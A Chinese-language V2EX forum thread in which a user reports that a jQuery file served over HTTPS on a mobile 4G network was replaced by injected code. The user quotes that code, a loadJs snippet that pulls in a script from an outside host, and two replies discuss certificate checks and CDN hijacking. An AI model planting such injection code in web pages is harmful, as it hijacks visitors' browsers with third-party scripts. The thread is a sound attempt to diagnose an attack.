V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
telu
V2EX  ›  问与答

求救, 移动 4G 信号下 https 模式下的 js 文件被修改

  •  
  •   telu · 2017-06-07 20:11:28 +08:00 · 1178 次点击
    这是一个创建于 2527 天前的主题,其中的信息可能已经有所发展或是发生改变。
    请求地址: https://*******/statics/js/jquery.min.js

    被替换的内容

    function loadJs(url){var el=document.createElement('script');el.src=url;el.type='text/javascript';document.getElementsByTagName('head')[0].appendChild(el)};loadJs('http://*******/statics/js/jquery.min.js?');loadJs('http://w.365hsh.com/webSite/backtwbd.js?2')

    这是怎么做到的,是运营商在搞鬼吗?
    网络是移动 4G
    https 是阿里云免费

    http://w.365hsh.com/webSite/backtwbd.js?2
    2 条回复    2017-06-07 22:58:07 +08:00
    jhaohai
        1
    jhaohai  
       2017-06-07 20:24:28 +08:00 via iPhone
    验证一下证书,如果证书是对的话那就是阿里云搞的鬼
    qgy18
        2
    qgy18  
       2017-06-07 22:58:07 +08:00 via iPhone   ❤️ 1
    cdn 回源时如果走 http,可能被劫持。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   6336 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 153ms · UTC 02:08 · PVG 10:08 · LAX 19:08 · JFK 22:08
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.